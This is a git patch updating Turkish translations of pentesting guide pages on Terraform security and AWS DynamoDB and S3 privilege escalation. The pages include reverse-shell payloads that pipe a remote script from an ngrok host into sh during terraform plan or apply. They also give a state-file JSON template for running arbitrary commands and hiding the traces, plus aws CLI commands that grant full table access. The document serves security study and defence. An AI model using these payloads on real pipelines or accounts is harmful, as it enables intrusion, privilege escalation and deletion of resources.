From 78fe5dd7c6651f2834fde5460bebfc2fb12a06df Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 5 Jan 2025 15:23:04 +0000 Subject: [PATCH] Translated ['src/pentesting-ci-cd/terraform-security.md', 'src/pentestin --- src/pentesting-ci-cd/terraform-security.md | 110 ++++++++++-------- .../aws-dynamodb-privesc.md | 55 ++++++++- .../aws-s3-privesc.md | 20 +++- 3 files changed, 130 insertions(+), 55 deletions(-) diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 318bc2832..fce3b4071 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -10,17 +10,17 @@ HashiCorp Terraform, **kod olarak altyapı aracı**dır ve hem **bulut hem de ye #### Terraform nasıl çalışır? -Terraform, bulut platformlarında ve diğer hizmetlerde kaynakları uygulama programlama arayüzleri (API'ler) aracılığıyla oluşturur ve yönetir. Sağlayıcılar, Terraform'un erişilebilir bir API'ye sahip hemen hemen her platform veya hizmetle çalışmasını sağlar. +Terraform, bulut platformlarında ve diğer hizmetlerde kaynakları uygulama programlama arayüzleri (API'ler) aracılığıyla oluşturur ve yönetir. Sağlayıcılar, Terraform'un erişilebilir bir API'ye sahip olan hemen hemen her platform veya hizmetle çalışmasını sağlar. ![](<../images/image (177).png>) -HashiCorp ve Terraform topluluğu, binlerce farklı türde kaynak ve hizmeti yönetmek için **1700'den fazla sağlayıcı** yazmıştır ve bu sayı artmaya devam etmektedir. Tüm kamuya açık sağlayıcıları [Terraform Registry](https://registry.terraform.io/) üzerinde bulabilirsiniz; bunlar arasında Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog ve daha birçokları bulunmaktadır. +HashiCorp ve Terraform topluluğu, farklı türdeki binlerce kaynak ve hizmeti yönetmek için **1700'den fazla sağlayıcı** yazmıştır ve bu sayı artmaya devam etmektedir. Tüm kamuya açık sağlayıcıları [Terraform Registry](https://registry.terraform.io/) üzerinde bulabilirsiniz; bunlar arasında Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog ve daha birçokları bulunmaktadır. Temel Terraform iş akışı üç aşamadan oluşur: -- **Yaz:** Birden fazla bulut sağlayıcısı ve hizmeti arasında olabilecek kaynakları tanımlarsınız. Örneğin, güvenlik grupları ve bir yük dengeleyici ile sanal makinelerde bir uygulama dağıtmak için bir yapılandırma oluşturabilirsiniz. +- **Yaz:** Birden fazla bulut sağlayıcısı ve hizmet arasında olabilecek kaynakları tanımlarsınız. Örneğin, güvenlik grupları ve bir yük dengeleyici ile sanal makinelerde bir uygulama dağıtmak için bir yapılandırma oluşturabilirsiniz. - **Planla:** Terraform, mevcut altyapı ve yapılandırmanıza dayanarak oluşturacağı, güncelleyeceği veya yok edeceği altyapıyı tanımlayan bir yürütme planı oluşturur. -- **Uygula:** Onaylandığında, Terraform, kaynak bağımlılıklarına saygı göstererek önerilen işlemleri doğru sırayla gerçekleştirir. Örneğin, bir VPC'nin özelliklerini güncelleyip o VPC'deki sanal makine sayısını değiştirirseniz, Terraform, sanal makineleri ölçeklendirmeden önce VPC'yi yeniden oluşturur. +- **Uygula:** Onaylandığında, Terraform, kaynak bağımlılıklarına saygı göstererek önerilen işlemleri doğru sırayla gerçekleştirir. Örneğin, bir VPC'nin özelliklerini günceller ve o VPC'deki sanal makinelerin sayısını değiştirirseniz, Terraform, sanal makineleri ölçeklendirmeden önce VPC'yi yeniden oluşturur. ![](<../images/image (215).png>) @@ -28,33 +28,33 @@ Temel Terraform iş akışı üç aşamadan oluşur: Bilgisayarınıza terraform'u kurun. -Burada bir [kılavuz](https://learn.hashicorp.com/tutorials/terraform/install-cli) ve burada terraform'u indirmenin [en iyi yolu](https://www.terraform.io/downloads) var. +Burada bir [rehber](https://learn.hashicorp.com/tutorials/terraform/install-cli) ve burada terraform'u indirmenin [en iyi yolu](https://www.terraform.io/downloads) var. -## Terraform'da RCE +## Terraform'da RCE: yapılandırma dosyası zehirlenmesi -Terraform'un **bir web sayfası veya bir ağ hizmeti** sunan bir platformu yoktur, bu nedenle terraform'u tehlikeye atmanın tek yolu **terraform yapılandırma dosyalarını eklemek/değiştirmek** olabilir. +Terraform, **bir web sayfası veya bir ağ hizmeti sunan bir platforma sahip değildir**; bu nedenle, terraform'u tehlikeye atmanın tek yolu, **terraform yapılandırma dosyalarını ekleyebilmek/değiştirebilmek** veya **terraform durum dosyasını değiştirebilmek**tir (aşağıdaki bölüme bakın). -Ancak, terraform, düzgün çalışabilmesi için farklı konumlara **ayrılmış erişim** sağlayacağı için **çok hassas bir bileşen**dir. +Ancak, terraform, **farklı konumlara ayrıcalıklı erişim** sağlayacağı için tehlikeye atılması **çok hassas bir bileşendir**. Bir saldırganın terraform'un çalıştığı sistemi tehlikeye atabilmesinin ana yolu, **terraform yapılandırmalarını depolayan depoyu tehlikeye atmaktır**, çünkü bir noktada bunlar **yorumlanacaktır**. -Aslında, bir PR oluşturulduktan sonra **terraform plan/uygula** işlemlerini otomatik olarak gerçekleştiren çözümler mevcuttur, bunlardan biri **Atlantis**'dir: +Aslında, bir PR oluşturulduktan sonra **terraform plan/uygula** işlemlerini otomatik olarak gerçekleştiren çözümler mevcuttur, örneğin **Atlantis**: {{#ref}} atlantis-security.md {{#endref}} -Bir terraform dosyasını tehlikeye atmayı başarırsanız, birisi `terraform plan` veya `terraform apply` çalıştırdığında RCE gerçekleştirmek için farklı yollar vardır. +Eğer bir terraform dosyasını tehlikeye atmayı başarırsanız, birisi `terraform plan` veya `terraform apply` komutunu çalıştırdığında RCE gerçekleştirmek için farklı yollar vardır. ### Terraform planı -Terraform planı, terraform'da **en çok kullanılan komut**dur ve terraform kullanan geliştiriciler/çözümler bunu sürekli olarak çağırır, bu nedenle **RCE elde etmenin en kolay yolu**, bir `terraform plan` içinde rastgele komutlar çalıştıracak bir terraform yapılandırma dosyasını zehirlemektir. +Terraform planı, terraform'da **en çok kullanılan komut**dur ve terraform kullanan geliştiriciler/çözümler bunu sürekli olarak çağırır, bu nedenle **RCE elde etmenin en kolay yolu**, `terraform plan` içinde rastgele komutlar çalıştıracak bir terraform yapılandırma dosyasını zehirlemektir. **Dış sağlayıcı kullanarak** -Terraform, Terraform ile dış programlar arasında arayüz sağlamak için [`external` sağlayıcısını](https://registry.terraform.io/providers/hashicorp/external/latest/docs) sunar. `plan` sırasında rastgele kod çalıştırmak için `external` veri kaynağını kullanabilirsiniz. +Terraform, Terraform ile dış programlar arasında bir arayüz sağlamak için [`external` sağlayıcısını](https://registry.terraform.io/providers/hashicorp/external/latest/docs) sunar. `plan` sırasında rastgele kod çalıştırmak için `external` veri kaynağını kullanabilirsiniz. -Bir terraform yapılandırma dosyasına aşağıdakine benzer bir şey enjekte etmek, `terraform plan` çalıştırıldığında bir rev shell çalıştıracaktır: +Bir terraform yapılandırma dosyasına aşağıdaki gibi bir şey enjekte etmek, `terraform plan` çalıştırıldığında bir rev shell çalıştıracaktır: ```javascript data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] @@ -81,9 +81,9 @@ Bir örneği [https://github.com/rung/terraform-provider-cmdexec](https://github **Dış bir referans kullanma** -Bahsedilen her iki seçenek de faydalıdır ancak çok gizli değildir (ikincisi birincisinden daha gizli ama daha karmaşıktır). Bu saldırıyı **daha gizli bir şekilde** gerçekleştirebilirsiniz, bu önerileri takip ederek: +Bahsedilen her iki seçenek de faydalıdır ancak çok gizli değildir (ikincisi birincisinden daha gizlidir ama daha karmaşıktır). Bu saldırıyı **daha gizli bir şekilde** gerçekleştirebilirsiniz, bu önerileri takip ederek: -- Rev shell'i doğrudan terraform dosyasına eklemek yerine, rev shell'i içeren **dış bir kaynağı** yükleyebilirsiniz: +- Rev shell'i doğrudan terraform dosyasına eklemek yerine, rev shell içeren **dış bir kaynağı** yükleyebilirsiniz: ```javascript module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" @@ -91,11 +91,11 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module ``` Rev shell kodunu [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) adresinde bulabilirsiniz. -- Harici kaynakta, **ref** özelliğini kullanarak repo içinde **bir dalda terraform rev shell kodunu gizleyin**, şöyle bir şey: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- Harici kaynakta, **ref** özelliğini kullanarak **repo içindeki bir dalda terraform rev shell kodunu gizleyin**, şöyle bir şey: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply -Terraform apply, tüm değişiklikleri uygulamak için çalıştırılacaktır, ayrıca **kötü niyetli bir Terraform dosyasını** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)** ile enjekte ederek RCE elde etmek için de kötüye kullanılabilir.**\ +Terraform apply, tüm değişiklikleri uygulamak için çalıştırılacaktır, ayrıca **kötü niyetli bir Terraform dosyasını** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)** ile RCE elde etmek için de kötüye kullanabilirsiniz.**\ Sadece `main.tf` dosyasının sonunda aşağıdaki gibi bir yükün bulunduğundan emin olmalısınız: ```json // Payload 1 to just steal a secret @@ -112,7 +112,7 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` -Önceki teknikten **önerileri takip ederek** bu saldırıyı **daha gizli bir şekilde dış referanslar kullanarak** gerçekleştirin. +Önceki teknikteki **önerileri takip ederek** bu saldırıyı **daha gizli bir şekilde dış referanslar kullanarak** gerçekleştirin. ## Gizli Bilgiler Dökümü @@ -124,7 +124,35 @@ value = nonsensitive(var.do_token) ``` ## Terraform Durum Dosyalarını Kötüye Kullanma -Terraform durum dosyaları üzerinde yazma erişiminiz varsa ancak terraform kodunu değiştiremiyorsanız, [**bu araştırma**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) dosyadan yararlanmak için bazı ilginç seçenekler sunmaktadır: +Terraform durum dosyaları üzerinde yazma erişiminiz varsa ancak terraform kodunu değiştiremiyorsanız, [**bu araştırma**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) dosyadan yararlanmak için bazı ilginç seçenekler sunmaktadır. Konfigürasyon dosyaları üzerinde yazma erişiminiz olsa bile, durum dosyalarının vektörünü kullanmak genellikle daha sinsi bir yöntemdir, çünkü `git` geçmişinde iz bırakmazsınız. + +### Terraform'da RCE: konfigürasyon dosyası zehirleme + +Kötü niyetli bir sağlayıcı ile terraform durum dosyasındaki sağlayıcılardan birini değiştirmek veya kötü niyetli sağlayıcıyı referans alan sahte bir kaynak eklemek için [özel bir sağlayıcı oluşturmak](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) mümkündür. + +Sağlayıcı [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) bu araştırmaya dayanmakta ve bu prensibi silahlandırmaktadır. Sahte bir kaynak ekleyebilir ve çalıştırmak istediğiniz keyfi bash komutunu `command` niteliğinde belirtebilirsiniz. `terraform` çalıştırıldığında, bu hem `terraform plan` hem de `terraform apply` adımlarında okunacak ve yürütülecektir. `terraform apply` adımında, `terraform` komutunuzu çalıştırdıktan sonra sahte kaynağı durum dosyasından silecektir, böylece kendi arkasını temizlemiş olur. Daha fazla bilgi ve tam bir demo, bu sağlayıcının kaynak kodunu barındıran [GitHub deposunda](https://github.com/offensive-actions/terraform-provider-statefile-rce) bulunabilir. + +Doğrudan kullanmak için, `resources` dizisinin herhangi bir konumuna aşağıdakileri ekleyin ve `name` ile `command` niteliklerini özelleştirin: +```json +{ +"mode": "managed", +"type": "rce", +"name": "", +"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]", +"instances": [ +{ +"schema_version": 0, +"attributes": { +"command": "", +"id": "rce" +}, +"sensitive_attributes": [], +"private": "bnVsbA==" +} +] +} +``` +O zaman, `terraform` çalıştırıldığında, kodunuz çalışacaktır. ### Kaynakları Silme @@ -132,7 +160,7 @@ Kaynakları yok etmenin 2 yolu vardır: 1. **Gerçek kaynağı yok etmek için durum dosyasına rastgele bir isimle bir kaynak ekleyin** -Terraform, kaynağın mevcut olmaması gerektiğini göreceği için, onu yok edecektir (belirtilen gerçek kaynak kimliğini takip ederek). Önceki sayfadan örnek: +Çünkü terraform, kaynağın mevcut olmaması gerektiğini görecektir, bu yüzden onu yok edecektir (belirtilen gerçek kaynak kimliğini takip ederek). Önceki sayfadan örnek: ```json { "mode": "managed", @@ -148,28 +176,13 @@ Terraform, kaynağın mevcut olmaması gerektiğini göreceği için, onu yok ed ] }, ``` -2. **Silinmesi gereken kaynağı, güncellenemeyecek şekilde değiştirin (bu nedenle silinip yeniden oluşturulacak)** +2. **Kaynağı, güncellenemeyecek şekilde silmek için değiştirin (bu nedenle silinip yeniden oluşturulacak)** Bir EC2 örneği için, örneğin türünü değiştirmek, terraform'un onu silip yeniden oluşturması için yeterlidir. -### RCE +### Kara listeye alınmış sağlayıcıyı değiştirin -Ayrıca, [özel bir sağlayıcı oluşturmak](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) ve terraform durum dosyasındaki sağlayıcılardan birini kötü niyetli olanla değiştirmek veya kötü niyetli sağlayıcı ile boş bir kaynak eklemek mümkündür. Orijinal araştırmadan örnek: -```json -"resources": [ -{ -"mode": "managed", -"type": "scaffolding_example", -"name": "example", -"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]", -"instances": [ - -] -}, -``` -### Kara listeye alınmış sağlayıcıyı değiştir - -`hashicorp/external` kara listeye alındığında bir durumla karşılaşırsanız, `external` sağlayıcısını aşağıdaki gibi yeniden uygulayabilirsiniz. Not: https://registry.terraform.io/providers/nazarewk/external/latest tarafından yayınlanan bir external sağlayıcı çatalını kullanıyoruz. Kendi çatalınızı veya yeniden uygulamanızı da yayınlayabilirsiniz. +`hashicorp/external` kara listeye alındığında, `external` sağlayıcısını yeniden uygulamak için aşağıdakileri yapabilirsiniz. Not: https://registry.terraform.io/providers/nazarewk/external/latest adresinde yayınlanan bir external sağlayıcı çatallamasını kullanıyoruz. Kendi çatallamanızı veya yeniden uygulamanızı da yayınlayabilirsiniz. ```terraform terraform { required_providers { @@ -196,7 +209,7 @@ Snyk, Terraform, CloudFormation, Kubernetes ve diğer IaC formatlarındaki güve - Güvenlik açıkları ve uyumluluk sorunları için gerçek zamanlı tarama. - Versiyon kontrol sistemleriyle (GitHub, GitLab, Bitbucket) entegrasyon. - Otomatik düzeltme çekme istekleri. -- Ayrıntılı düzeltme tavsiyeleri. +- Ayrıntılı düzeltme önerileri. - **Kaydolun:** [Snyk](https://snyk.io/) üzerinde bir hesap oluşturun. ```bash brew tap snyk/tap @@ -206,9 +219,9 @@ snyk iac test /path/to/terraform/code ``` ### [Checkov](https://github.com/bridgecrewio/checkov) -**Checkov**, altyapı kodu (IaC) için statik kod analizi aracı ve ayrıca görüntüler ve açık kaynak paketleri için bir yazılım bileşen analizi (SCA) aracıdır. +**Checkov**, kod olarak altyapı (IaC) için bir statik kod analiz aracıdır ve ayrıca görüntüler ve açık kaynak paketleri için bir yazılım bileşen analizi (SCA) aracıdır. -[Terraform](https://terraform.io/) kullanılarak sağlanan bulut altyapısını, [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) veya [OpenTofu](https://opentofu.org/) ile tarar ve grafik tabanlı tarama kullanarak güvenlik ve uyumluluk yanlış yapılandırmalarını tespit eder. +[Terraform](https://terraform.io/) kullanılarak sağlanan bulut altyapısını, [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) veya [OpenTofu](https://opentofu.org/) ile tarar ve grafik tabanlı tarama kullanarak güvenlik ve uyum yanlış yapılandırmalarını tespit eder. Açık kaynak paketleri ve görüntüleri için Ortak Güvenlik Açıkları ve Maruziyetler (CVE'ler) taraması olan [Yazılım Bileşen Analizi (SCA) taraması](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) gerçekleştirir. ```bash @@ -217,17 +230,17 @@ checkov -d /path/to/folder ``` ### [terraform-compliance](https://github.com/terraform-compliance/cli) -From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance`, altyapı kodunuz için negatif test yeteneğini sağlamak amacıyla terraform'a karşı hafif, güvenlik ve uyumluluk odaklı bir test çerçevesidir. +From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance`, altyapı kodunuz için olumsuz test yeteneğini etkinleştirmek amacıyla terraform'a karşı hafif, güvenlik ve uyumluluk odaklı bir test çerçevesidir. -- **uyumluluk:** Uygulanan kodun güvenlik standartlarına ve kendi özel standartlarınıza uygun olduğundan emin olun +- **uyumluluk:** Uygulanan kodun güvenlik standartlarına ve kendi özel standartlarınıza uygun olduğundan emin olun. - **davranış odaklı geliştirme:** Neredeyse her şey için BDD'miz var, neden IaC için olmasın? -- **taşınabilir:** Sadece `pip` ile kurun veya `docker` üzerinden çalıştırın. [Kurulum](https://terraform-compliance.com/pages/installation/) sayfasına bakın -- **ön dağıtım:** Kodunuzu dağıtılmadan önce doğrular +- **taşınabilir:** Sadece `pip` ile kurun veya `docker` üzerinden çalıştırın. [Kurulum](https://terraform-compliance.com/pages/installation/) sayfasına bakın. +- **ön dağıtım:** Kodunuzu dağıtılmadan önce doğrular. - **entegrasyonu kolay:** Tüm dağıtımların doğrulandığından emin olmak için pipeline'ınızda (veya git hook'larında) çalıştırılabilir. - **görev ayrımı:** Testlerinizi ayrı bir ekibin sorumlu olduğu farklı bir depoda tutabilirsiniz. > [!NOTE] -> Ne yazık ki, kod bazı sağlayıcıları kullanıyorsa ve bunlara erişiminiz yoksa `terraform plan` gerçekleştiremeyecek ve bu aracı çalıştıramayacaksınız. +> Ne yazık ki, kod bazı sağlayıcıları kullanıyorsa ve bu sağlayıcılara erişiminiz yoksa `terraform plan` gerçekleştiremeyecek ve bu aracı çalıştıramayacaksınız. ```bash pip install terraform-compliance terraform plan -out=plan.out @@ -254,9 +267,9 @@ tfsec /path/to/folder ``` ### [KICKS](https://github.com/Checkmarx/kics) -Geliştirme döngüsünün başında **KICS** ile altyapı kodunuzda güvenlik açıklarını, uyumluluk sorunlarını ve altyapı yanlış yapılandırmalarını erken tespit edin. +Geliştirme döngüsünün erken aşamalarında **KICS** ile güvenlik açıklarını, uyumluluk sorunlarını ve altyapı yanlış yapılandırmalarını bulun. -**KICS**, **K**eeping **I**nfrastructure as **C**ode **S**ecure'ın kısaltmasıdır, açık kaynaklıdır ve herhangi bir bulut yerel projesi için vazgeçilmezdir. +**KICS**, **K**eeping **I**nfrastructure as **C**ode **S**ecure'ın kısaltmasıdır, açık kaynaklıdır ve herhangi bir bulut yerel projesi için gereklidir. ```bash docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` @@ -278,5 +291,6 @@ brew install terrascan - [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce) - [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro) - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) +- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index c386ec0d0..83dbb1824 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -4,20 +4,69 @@ ## dynamodb -Dynamodb hakkında daha fazla bilgi için kontrol edin: +DynamoDB hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-dynamodb-enum.md {{#endref}} +### `dynamodb:PutResourcePolicy`, ve isteğe bağlı olarak `dynamodb:GetResourcePolicy` + +Mart 2024'ten itibaren, AWS DynamoDB için *kaynak tabanlı politikalar* sunmaktadır ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)). + +Bu nedenle, bir tablo için `dynamodb:PutResourcePolicy`'ye sahipseniz, kendinize veya başka bir kullanıcıya tabloya tam erişim verebilirsiniz. + +`dynamodb:PutResourcePolicy`'yi rastgele bir kullanıcıya vermek genellikle yanlışlıkla olur; eğer yöneticiler `dynamodb:Put*` vermenin yalnızca kullanıcının veritabanına öğe eklemesine izin vereceğini düşünürse - veya bu izin setini Mart 2024'ten önce verdilerse... + +İdeal olarak, diğer potansiyel olarak hayati izinleri geçersiz kılmamak için `dynamodb:GetResourcePolicy`'ye de sahip olmalısınız, böylece yalnızca ihtiyaç duyduğunuz ek izinleri ekleyebilirsiniz: +```bash +# get the current resource based policy (if it exists) and save it to a file +aws dynamodb get-resource-policy \ +--resource-arn \ +--query 'Policy' \ +--output text > policy.json +``` +Eğer mevcut politikayı alamıyorsanız, sadece bu politikayı kullanın; bu, tablonuz üzerinde tam erişim sağlar: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "FullAccessToDynamoDBTable", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::/" +}, +"Action": [ +"dynamodb:*" +], +"Resource": [ +"arn:aws:dynamodb:::table/" +] +} +] +} +``` +Eğer bunu özelleştirmeniz gerekiyorsa, işte tüm olası DynamoDB eylemlerinin bir listesi: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). Ve burada bir kaynak tabanlı politika aracılığıyla izin verilebilecek tüm eylemlerin bir listesi *VE bunlardan hangilerinin hesaplar arası kullanılabileceği (veri sızdırma düşünün!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html) + +Şimdi, `policy.json` politika belgesi hazır olduğuna göre, kaynak politikasını ekleyin: +```bash +# put the new policy using the prepared policy file +# dynamodb does weirdly not allow a direct file upload +aws dynamodb put-resource-policy \ +--resource-arn \ +--policy "$(cat policy.json)" +``` +Artık ihtiyaç duyduğunuz izinlere sahip olmalısınız. + ### Post Exploitation -Bildigim kadarıyla, sadece bazı AWS `dynamodb` izinlerine sahip olarak AWS'de **yetki yükseltmenin doğrudan bir yolu yoktur**. Tabloalardan **hassas** bilgileri okuyabilir (bu bilgiler AWS kimlik bilgilerini içerebilir) ve tablolara **bilgi yazabilirsiniz** (bu, diğer güvenlik açıklarını tetikleyebilir, örneğin lambda kod enjeksiyonları...) ancak bu seçeneklerin hepsi **DynamoDB Post Exploitation sayfasında** zaten dikkate alınmıştır: +Bildiğim kadarıyla, sadece bazı AWS `dynamodb` izinlerine sahip olarak AWS'de yetkileri artırmanın **başka doğrudan bir yolu yoktur**. Tabloalardan **hassas** bilgileri okuyabilir (bu bilgiler AWS kimlik bilgilerini içerebilir) ve tablolara **bilgi yazabilirsiniz** (bu, diğer güvenlik açıklarını tetikleyebilir, örneğin lambda kod enjeksiyonları...) ancak bu seçeneklerin hepsi zaten **DynamoDB Post Exploitation sayfasında** dikkate alınmıştır: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md {{#endref}} -### TODO: Veri Akışlarını kötüye kullanarak veri okuma +### TODO: Veri Akışlarını kötüye kullanarak veri oku {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index 228fc2fdc..2c47caf40 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -34,7 +34,7 @@ ] } ``` -Ve ele geçirme, **şablonun yüklenmesi anından** **şablonun dağıtılması anına** kadar olan **küçük bir zaman penceresi** olduğu için mümkündür. Bir saldırgan, hesabında **bir lambda fonksiyonu** oluşturabilir ve bu fonksiyon **bir bucket bildirimi gönderildiğinde tetiklenir** ve **o bucket'ın** **içeriğini ele geçirir**. +Ve ele geçirme, **şablonun yüklendiği andan** **şablonun dağıtıldığı ana** kadar olan **küçük bir zaman penceresi** olduğu için mümkündür. Bir saldırgan, hesabında **bir lambda fonksiyonu** oluşturabilir ve bu fonksiyon **bir bucket bildirimi gönderildiğinde tetiklenecek** ve **o bucket'ın** **içeriğini ele geçirecektir**. ![](<../../../images/image (174).png>) @@ -50,9 +50,21 @@ Bunlar bazı örneklerdir: - Eğer bir EC2 örneği **kullanıcı verilerini bir S3 bucket'ında** depoluyorsa, bir saldırgan bunu **EC2 örneği içinde rastgele kod çalıştırmak için değiştirebilir**. +### `s3:PutObject`, `s3:GetObject` (isteğe bağlı) terraform durum dosyası üzerinden + +[terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) durum dosyalarının bulut sağlayıcılarının blob depolama alanlarına kaydedilmesi oldukça yaygındır, örneğin AWS S3. Bir durum dosyasının dosya uzantısı `.tfstate`dir ve bucket adları genellikle terraform durum dosyalarını içerdiğini gösterir. Genellikle, her AWS hesabının durum dosyalarını depolamak için böyle bir bucket'ı vardır. Ayrıca genellikle, gerçek dünya hesaplarında neredeyse her geliştiricinin `s3:*` ve bazen hatta iş kullanıcılarının `s3:Put*` erişimi vardır. + +Yani, bu dosyalar üzerindeki izinlere sahipseniz, `terraform` ayrıcalıklarıyla, çoğu zaman `AdministratorAccess` ile, pipeline'da RCE elde etmenizi sağlayan bir saldırı vektörü vardır, bu da sizi bulut hesabının yöneticisi yapar. Ayrıca, `terraform`'un meşru kaynakları silmesini sağlayarak bir hizmet reddi saldırısı yapmak için bu vektörü kullanabilirsiniz. + +Doğrudan kullanılabilir istismar kodu için *Terraform Güvenliği* sayfasının *Terraform Durum Dosyalarını Kötüye Kullanma* bölümündeki açıklamayı takip edin: + +{{#ref}} +terraform-security.md#abusing-terraform-state-files +{{#endref}} + ### `s3:PutBucketPolicy` -Aynı hesapta olması gereken bir saldırgan, aksi takdirde `Belirtilen yöntem izin verilmedi` hatası tetiklenecektir, bu izinle kendisine bucket'lar üzerinde daha fazla izin verebilir, böylece bucket'ları okuma, yazma, değiştirme, silme ve ifşa etme yetkisi kazanır. +Aynı hesaptan olması gereken bir saldırgan, aksi takdirde `Belirtilen yöntem izin verilmedi` hatası tetiklenecektir, bu izinle bucket'lar üzerinde daha fazla izin verebilir, böylece bucket'ları okuma, yazma, değiştirme, silme ve ifşa etme yetkisine sahip olabilir. ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -110,7 +122,7 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket --access-control-policy file://a ``` ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -Bir saldırgan, bu izinleri kullanarak kendisine belirli nesneler üzerinde daha fazla erişim sağlamak için kötüye kullanabilir. +Bir saldırgan, bu izinleri kullanarak kendisine belirli nesneler üzerinde daha fazla erişim sağlayabilir. ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag